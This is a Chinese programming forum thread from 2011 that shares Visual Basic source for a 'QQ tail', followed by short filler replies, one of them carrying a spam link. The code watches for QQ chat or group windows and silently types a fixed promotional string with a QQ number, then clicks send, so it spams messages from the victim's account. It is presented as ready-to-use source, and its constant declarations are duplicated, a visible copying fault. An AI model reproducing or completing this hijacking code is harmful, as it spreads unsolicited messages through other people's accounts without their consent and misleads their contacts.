开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 2203|回复: 7
收起左侧

[源码分享] vbqq尾巴

[复制链接]
发表于 2011-2-27 14:41:59 | 显示全部楼层 |阅读模式   福建省福州市
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function sendmessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function SetFocuss Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Const BM_CLICK = &HF5
Private Const GW_Child = 5
Private Const GW_HWNDFIRST = 0
Private Const GW_HWNDNEXT = 2
Private Const BM_CLICK = &HF5
Private Const GW_Child = 5
Private Const GW_HWNDFIRST = 0
Private Const GW_HWNDNEXT = 2
Private Sub Form_Load()
    Timer1.Interval = 200
    Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
    On Error Resume Next
    Dim thewindow As Long
    Dim sText As String * 255
    Dim TextObj As Long
    Dim thewindow_title As String
   
    thewindow = GetForegroundWindow '获得当前窗口句柄
   
    If thewindow = 0 Then Exit Sub
    thewindow_title = Left$(sText, GetWindowText(thewindow, sText, 255)) '得到聊天窗口标题~
   
    If InStr(thewindow_title, "聊天中") <> 0 Or InStr(thewindow_title, "- 群") <> 0 Or InStr(thewindow_title, "查看消息") <> 0 Then
        TextObj = FindWindowEx(thewindow, 0, "#32770", vbNullString) '通用对话框的类
        Me.Caption = TextObj
        If TextObj = 0 Then Exit Sub
        SetFocuss TextObj
        SendKeys "Every:444153452"
        send TextObj
    Else
        Exit Sub
    End If
End Sub

Private Sub send(thehwnd As Long)
    Dim temhwnd As Long
    Dim sText As String * 255
    temhwnd = GetWindow(thehwnd, GW_Child)
    temhwnd = GetWindow(temhwnd, GW_HWNDFIRST)
    While temhwnd <> 0
       DoEvents
       Title = Left$(sText, GetWindowText(temhwnd, sText, 255))
       If InStr(Title, "发送") Then
          sendmessage temhwnd, BM_CLICK, 0&, 0&
          Exit Sub
       End If
       temhwnd = GetWindow(temhwnd, GW_HWNDNEXT)
    Wend
End Sub
结帖率:96% (24/25)
发表于 2011-2-27 14:43:48 | 显示全部楼层   广东省深圳市
看到一堆英文的代码我就头疼....{:3_225:}
回复 支持 反对

使用道具 举报

发表于 2012-2-6 14:47:10 | 显示全部楼层   重庆市重庆市
得得得得得得得
回复 支持 反对

使用道具 举报

结帖率:86% (6/7)
发表于 2012-2-9 21:45:20 | 显示全部楼层   广东省中山市
顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶
回复 支持 反对

使用道具 举报

发表于 2012-5-5 18:55:57 | 显示全部楼层   广西壮族自治区南宁市
因文盲啊啊啊啊。。
回复 支持 反对

使用道具 举报

结帖率:50% (1/2)

签到天数: 1 天

发表于 2012-5-11 22:54:37 | 显示全部楼层   广东省江门市
{:3_234:}路过看看
回复 支持 反对

使用道具 举报

发表于 2012-5-13 09:10:55 | 显示全部楼层   广东省东莞市
我注定成不了程序员



淘宝网二手手机淘宝网二手电脑淘宝网二手笔记本电脑淘宝网二手数码相机www.infinitichina.com
回复 支持 反对

使用道具 举报

结帖率:40% (2/5)
发表于 2012-7-19 22:05:17 | 显示全部楼层   浙江省金华市
有没有易语言的
QQ尾巴



回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 793400750,邮箱:wp@125.la
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表